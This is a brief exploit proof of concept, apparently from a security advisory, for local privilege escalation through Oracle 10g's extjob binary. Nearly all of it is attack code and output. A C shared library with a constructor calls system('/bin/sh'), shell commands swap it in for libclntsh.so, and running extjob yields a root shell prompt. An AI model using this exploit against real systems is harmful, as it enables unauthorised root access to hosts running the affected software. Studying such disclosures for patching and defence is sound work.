-- Example with libclntsh.so $ cat test.c #include #include #include void __attribute__ ((constructor)) my_init(void) { printf("[+] It works! Root shell...\n"); system("/bin/sh"); } $ cc test.c -fPIC -o test.so -shared $ mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2 /home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2 $ mv test.so /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2 $ $ORACLE_HOME/bin/extjob [+] It works! Root shell... sh-3.1#